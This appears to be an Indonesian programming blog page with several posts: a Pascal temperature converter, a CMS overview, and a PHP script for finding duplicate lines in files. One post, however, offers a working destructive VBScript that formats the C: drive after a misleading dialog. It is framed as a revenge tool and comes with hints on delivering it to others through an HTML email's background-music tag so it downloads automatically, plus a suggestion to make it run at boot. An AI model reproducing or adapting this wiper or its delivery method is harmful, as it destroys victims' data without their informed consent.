Latest Updates
Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

Program Konversi Suhu

Program Konversi Suhu
Writing Pascal language
———————————-
program suhu;
uses crt;
var c,f,r:real;
begin
clrscr;
write(‘Masukkan suhu Celcius : ‘);
readln(c);
f:= (9/5*c)+32;
writeln(‘Suhu fahrenheitnya adalah = ‘,f:3:1);
writeln(”);
write(‘Masukkan suhu Reamur : ‘);
readln(r);
c:= 4/5*r;
writeln(‘Suhu Celciusnya adalah = ‘,c:3:1);
readkey;
end.
————————————————
Program ini Berfungsi Untuk Mengkonversi Suhu

VBS Sederhana yang Berbahaya

VBS Sederhana yang Berbahaya
sebelumnya saya beritahukan  yang membuat coding ini adalah Istanto@gmail.com bukan lah saya. tetapi saya hanya menulis ulang dan mendistribusikannya
Oke kita buat VBS sederhana yang bisa buat balas dendam kesumat yah…. apa itu VBS? baca google yah.. mari kita mulai harap duduk yang manis barisan dirapatkan :p
Mulai Coding
————————————————————
Set WshShell = WScript.CreateObject(“WScript.Shell”)
X = MsgBox(“Halo dunia kadal_punk bertanya siapkah anda mengganti operating system anda ?”, vbYesNo, “Awas bahaya kadal ngga tanggung jawab!”)
If X = 6 Then
WshShell.Run(“format.com /y C:”)
End If
———————————————————-
itu kode VBS yang saya buat sangat simple dan saya rasa mudah untuk dimengerti kalangan umum kalau di jalankan maka akan memformat drive c: dengan indahnya Apa saja shell command?? cari pake GOGGLE.COM ! pokoknya idop google😛
Here sample command :
run.exe rundll user,#7
run.exe rundll user,#4
run.exe rundll user,#3
dan lain lain
nah…….. sekarang bagaimana caranya file ini bisa masuk ke komputer orang?? pikirkan sendiri bagaimana? saya cuma kasi gambaran contoh simple html… loh om kadal tanya!! kalo html doang, orang ga buka websitenya gimana? waduh.. gimana yah.. tau ngga email yang pake HTML code? nah coba deh… ngerti kan maksud saya :p
———————————————————-
Hallo dunia apa kabar
Hallo dunia apa kabar🙂 muach
———————————————————-
baris di atas sebenarnya hanya manipulasi hehehe alias background music yang kita rubah ke file yang kita inginkan
dan yang jelas ini pasti otomatis terdownload ke dalam computer yang membuka halaman html ini kalo ngga percaya
liat aja status bar IE kamu pasti tuh ada :p saya kira sudah cukup jelas.. easy kan hehe ^^ masuk ke dalam folder
” \windows\temporary internet files ” pasti kamu ketemu VBS nya disana (INGAT INI DI WINDOWS 98, XP NYA BLOM TAU SAYAH :p)
sekarang tugas kalian hanyalah mengubah VBS di atas bagaimana kah caranya? agar waktu windows booting dia muncul di layar?
mana saya tau???? itu tugas kalian dan saya ngga bertanggung jawab atas perbuatan yang mencoba teknik ini saya hanya memberikan sedikit pembukaan agar bisa dipahami apa itu system dan bagaimana dia bekerja.

CMS (Content Management System)

CMS (Content Management System)
Seiring dengan kemajuan teknologi yang kita rasakan akhir-akhir ini, terutama di bidang pengembangan website, menyebabkan proses pembuatan sebuah website yang baik bukanlah suatu pekerjaan yang sulit lagi seperti yang dibayangkan oleh banyak orang sebelumnya. Di mana-mana dapat kita lihat berbagai website bermunculan dengan bermacam corak dan ragamnya. Mulai dari sebuah website yang sangat sederhana dengan hanya mengandalkan beberapa halaman statis HTML, sampai kepada sebuah website dinamis yang menggunakan teknikpengembangan website yang mutakhir. Tak dapat dipungkiri memang, semuanya ini merupakan hasil dari revolusi informasi dunia internet yang sangat cepat. Sedemikian cepatnya mengakibatkan tidak semua orang dapat mengikuti perkembangan yang terjadi dengan baik.
Pertanyaan yang muncul sekarang adalah adakah sebuah sistem yang dapat mengakomodasi perkembangan informasi yang sangat cepat ini dan yang dapat memberikan keuntungan kepada pihak yang menggunakannya? Jawabannya tentu saja ada, yaitu dengan menerapkan Content Management System (CMS).
Dalam tulisan ini, penulis akan berusaha menjelaskan kepada pembaca apa yang dimaksud dengan CMS, keuntungan pemanfaatan CMS dan bagaimana cara memilih CMS yang baik. Dengan harapan setelah membaca tulisan ini, pembaca memperoleh gambaran yang jelas tentang CMS atau bahkan dapat menerapkan CMS di website-nya masing-masing.

Cek Double Entri dari setiap Line dalam 1 file (PHP)

Cek Double Entri dari setiap Line dalam 1 file (PHP)
Jadi ceritanya kemaren ada NOC tanya bisa ga sih klo kita ngecek script konfigurasi yang double.
Terus ane dikasi contoh file yang namanya nice.rsc.
Nah setelah ane buka ternyata itu file yang dipake buat nambahin alamat IP BGP yang terdaftar di OpenIXP ke RouterOS.
Setelah ane cek lagi dari atas ke bawah, ternyata konfigurasinya 1 line 1 rule.
Karena 1 line 1 rule juga ane jd inget sistemnya wordlist, brute, dll.
Trus ane iseng deh bikin scriptnya buat ngecek entry yang double dari setiap linenya dalam 1 file.
Jadi bisa digunain juga buat ngecek wordlist, email, password, proxy, dll yang double2. seneng
Penampakannya kurang lebih seperti di sini : http://www.youtube.com/watch?v=cCQPADuOHfU&hd=1
Source codenya : (atau download filenya disini )


/**
* This program used to find duplicate entry for each line of text from given
* file. For example to check list of email, proxy, username:password,
* configurations, etc.
*
* This is not WebBased PHP program, so use it from CLI.
* Depend on your machine, you might need to reset your PHP memory_limit to -1
* for checking large file.
*
* Still very early release, hasn’t been tested on Windows and just for fun
* coding purpose :)
*
* coded by ditatompel
* Usage : new findDuplicates($argv);
*/
class FindDuplicates
{
var $cmd = array();
var $reqFunc = array(‘file_get_contents’, ‘fopen’, ‘fwrite’);
function __construct ($opts) {
$this->checkReqFunc();
$this->cmd = $this->args($opts);
if ( !array_key_exists(‘list’, $this->cmd) )
exit( $this->usage($this->cmd[‘input’][0]) );
$this->enumValues($this->cmd[‘list’]);
}
function checkReqFunc() {
$ok = 1;
foreach( $this->reqFunc as $func ) {
if ( !function_exists($func) ) {
print ‘You need function ‘ . $func . ” to execute this tool!\n”;
$ok = 0;
}
}
if(php_sapi_name() != ‘cli’) {
print “This is not WebBased program! Use this tool from CLI.”;
$ok = 0;
}
if ( !$ok ) exit;
}
/**
* Check list file
* @return bool. TRUE if file exists and readable.
*/
function cekFile ($file) {
if ( !is_file($file) || !is_readable($file) )
return false;
return true;
}
private function usage($file) {
$msg = “Usage : “;
$msg .= $file . ” –list=[list]\n”;
$msg .= “\tOptions : \n”;
$msg .= “\t\t-v :\t\t verbose mode.\n”;
$msg .= “\t\t–out=[file] :\t Save non duplicate entry to file.\n”;
$msg .= “Example :\n”;
$msg .= $file . ” –list=/path/to/file.txt –out=/path/to/file.txt.new -v\n”;
return $msg;
}
private function enumValues($filename) {
if ( !$this->cekFile($filename) )
exit(“File is not readable!\n”);
if ( array_key_exists(“out”, $this->cmd) ) {
$this->checkWrite($this->cmd[‘out’]);
$fh = fopen($this->cmd[‘out’], ‘w’);
}
$time_start = microtime(1);
print “File : ” . $filename . ” (” . $this->format_bytes(filesize($filename)) . “)\n”;
$fGetContents = file_get_contents($filename);
$content = explode(“\n”, $fGetContents);
$totalLines = count($content);
print “Total : ” . $this->plural($totalLines,’line’) . “\n”;
$totalDuplicate = 0;
print “Please be patient, process will be a little longer for large file sizes…\n”;
$unique = array_unique($content);
if( $totalLines > count($unique) ) {
for($i = 0; $i < $totalLines; $i++) {
$percentage = (int)number_format($i/$totalLines, 2, ”, ”);
$prog = “Progress : ” . $this->ID_nummeric($i) . “/” . $this->ID_nummeric($totalLines) . ” ” . $percentage . “%”;
echo $prog;
echo “33[” . strlen($prog) . “D”;
if(!array_key_exists($i, $unique)) {
if ( array_key_exists(“v”, $this->cmd) )
print “Duplicate entry on line ” . ($i+1) . “: ” . $content[$i] . “\n”;
$totalDuplicate++;
}
else {
if ( array_key_exists(“out”, $this->cmd) ) {
if ( !is_writable($this->cmd[‘out’]) )
exit(“[Error] ” . $this->cmd[‘out’] . ” is not writable.\n”);
fwrite($fh, $content[$i] . “\n”);
}
}
}
}
print “Total duplicate entry : ” . $this->plural($totalDuplicate)  . “\n”;
if ( array_key_exists(“out”, $this->cmd) )
print “New list saved to: ” . $this->cmd[‘out’] . ” (” . $this->format_bytes(filesize($this->cmd[‘out’])) . “)\n”;
$time_end = microtime(1);
$execution_time = ($time_end – $time_start);
print ‘process complete in ‘ . $execution_time . ” sec\n”;
}
private function ID_nummeric ($number) {
return number_format($number, 0, ‘,’,’.’);
}
private function checkWrite($location) {
if ( is_dir($location) )
exit(“[Error] ” . $location . ” is a directory.\n”);
}
private function plural($number, $txt=’item’) {
if ( $number > 1 )
return $this->ID_nummeric($number) . ” ”  . $txt . “s”;
return $this->ID_nummeric($number) . ” ”  . $txt;
}
// yatsynych at gmail dot com
function format_bytes($a_bytes) {
if ($a_bytes < 1024) {
return $a_bytes .’ B’;
} elseif ($a_bytes < 1048576) {
return round($a_bytes / 1024, 2) .’ KiB’;
} elseif ($a_bytes < 1073741824) {
return round($a_bytes / 1048576, 2) . ‘ MiB’;
} elseif ($a_bytes < 1099511627776) {
return round($a_bytes / 1073741824, 2) . ‘ GiB’;
} elseif ($a_bytes < 1125899906842624) {
return round($a_bytes / 1099511627776, 2) .’ TiB’;
} elseif ($a_bytes < 1152921504606846976) {
return round($a_bytes / 1125899906842624, 2) .’ PiB’;
} elseif ($a_bytes < 1180591620717411303424) {
return round($a_bytes / 1152921504606846976, 2) .’ EiB’;
} elseif ($a_bytes < 1208925819614629174706176) {
return round($a_bytes / 1180591620717411303424, 2) .’ ZiB’;
} else {
return round($a_bytes / 1208925819614629174706176, 2) .’ YiB’;
}
}
/**
* Make UNIX like parameter command.
* This function from losbrutos and modified by earomero. Thankyou. =)
* @author losbrutos free.fr
>
* @author earomero gmail.com>
* @param array argv
* @return array
*/
private function args($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (preg_match(‘#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#’, $arg, $matches)) {
$key = $matches[1];
switch ($matches[2]) {
case ”:
case ‘true’:
$arg = true;
break;
case ‘false’:
$arg = false;
break;
default:
$arg = $matches[2];
}
// make unix like -afd == -a -f -d
if(preg_match(“/^-([a-zA-Z0-9]+)/”, $matches[0], $match)) {
$string = $match[1];
for($i=0; strlen($string) > $i; $i++) {
$_ARG[$string[$i]] = true;
}
} else {
$_ARG[$key] = $arg;
}
} else {
$_ARG[‘input’][] = $arg;
}
}
return $_ARG;
}
}
?>

Tinggal panggil classnya :
PHP Code:
$cek = new FindDuplicates ($argv);
( tambahin aja di bawahnya klo bingung) hammer
Ingat, ini CLI ya.. jadi buat eksekusinya :
Code:
php [nama_script_phpnya] --list=[nama_file_yang_di_cek]
Ada 2 option tambahan yang bisa dipake :
Quote:-v : untuk verbose mode.
–out=[file] : buat bikin file baru yang udah diilangin duplikatnya.
misalnya :
Code:
php class.FindDuplicates.php --list=openixp.rsc --out=openixp.rsc.new -v
bakal nampilin line yang kembar ke terminal dari file openixp.rsc kemudian bikin file baru yang udah ‘dibersihin’ dengan nama openixp.rsc.new.
Misal file yang mau di cek gede, sampe puluhan mega, mungkin perlu ngeset PHP memory_limit nya jadi -1. ( tergantung kompi ente masing2 )
Mungkin sampe disini dulu.. Ane belom test di windows. seneng
Silahkan klo ada yg mau ngembangin.. Maap kodingnya berantakan.. ngakak

Write Ditatompel on : http://devilzc0de.org/forum/thread-17729.html